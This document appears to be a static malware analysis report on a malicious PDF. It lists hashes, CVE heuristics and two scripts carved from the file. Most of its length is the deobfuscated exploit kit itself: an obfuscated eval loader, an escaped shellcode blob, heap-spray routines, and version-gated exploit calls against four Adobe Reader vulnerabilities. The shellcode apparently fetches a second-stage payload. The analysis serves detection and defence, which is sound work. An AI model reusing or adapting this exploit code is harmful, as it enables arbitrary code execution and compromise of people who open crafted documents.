Malicious PDF — malware analysis report

Static analysis result for SHA-256 a795ab5461b6e1fa…

MALICIOUS

PDF

44.8 KB First seen: 2026-05-09
MD5: a8f15bfc5e88ce7965a185280be62cdb SHA-1: 48bda7aa1e1a9a1f41e5c8bd420e992b8874413c SHA-256: a795ab5461b6e1fa328aebd00cec9b7a83c976279321e69daaeb6ef6ff50425e
408 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier also strongly flagged this PDF as malicious. The embedded JavaScript is likely intended to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities, although the specific actions could not be determined due to the lack of a document body and the nature of the embedded script.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB05A 512 bytes
SHA-256: 0dc7c80966d8d9af331912c6952f43cc760a608e7dc238cd2f9bedefb5f89065
Preview script
First 1,000 lines of the extracted script
vif='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
b=qwe['qfwqf'];
e('uroe=t'+('qwtwqt','hisundefined').replace(b,'.')+'ti'+'t'+t);
s=uroe[v+a[6]](10,4);
s+='tr';
mgh=e('S'+'tring.fro'+uroe[s](1,9));
q=uroe[s](14);
cnw = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=cnw.length');
for (i = 0; i < k; i+=2) {
	hmy = cnw[i+1] + ('erybjkerl',cnw[i]);
	vif += mgh(hmy);
}
e(vif);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3660 bytes
SHA-256: 994abb46128a015ca9ea86ea517125cf2fcf710af701ba5aa1fb10ed05af1aa1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3eb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u0f34%ue2aa%uc3fa%ue5e8%uffff%ue6ff%u0e03%u0f0f%u8e51%u53e3%u0f0e%u860f%u82e8%u1f40%u6082%u3e5b%u58d4%u5c5e%u5c5c%u5c5c%u5c5c%u5c5a%u675c%u0e0b%u0f0f%u595a%u675c%u6160%u0f0f%u7a67%u637d%u5b62%u8167%u0141%ue7e3%u0f47%u0f0f%ue75f%u0f73%u0f0f%udff0%ucb8c%u6707%ue040%u0a40%ue75f%u0f63%u0f0f%udff0%ucf8a%u187a%u5b65%ufc56%u67a5%uf17d%u19bc%u12e7%u0f0f%u5f0f%u5ee7%u0f0f%uf00f%u5cdf%uf165%u8667%u0e60%ue7b2%u0f07%u0f0f%ue75f%u0f33%u0f0f%udff0%u3e6f%u6bcf%u5f84%u843f%u035d%u5d84%u841b%u277d%u17b6%u0f0f%u3e0f%u3ef0%ua3cf%u6e33%u0d73%u2f23%uc0ce%u0e02%uedc8%u8eff%u54f0%u45b3%u8465%u1f4d%u1d84%ud67a%u4b86%u132b%ucc6e%u846f%u2b63%u842b%u334a%u5b84%u770a%ue50e%u4584%u8417%u2f55%ue40e%u3bec%u8446%u843b%ue10e%uf03e%ucf3e%ua3f3%ucf8b%u087b%uc0ce%u0e02%ue4c8%u34fb%u2b73%u7a27%u84ee%u2b55%ue40e%u8469%u4403%u5584%u0e13%u84e4%u840b%ue70e%u4b86%u132b%ucd6e%u0f07%ue0e7%uf0f1%u67f0%u7b7b%u357f%u2020%u646e%u636a%u7c6e%u7c60%u7b66%u216a%u6166%u6069%u6420%u7f21%u7f67%u6930%u3e32%u363f%u6a29%u3a32%u000f';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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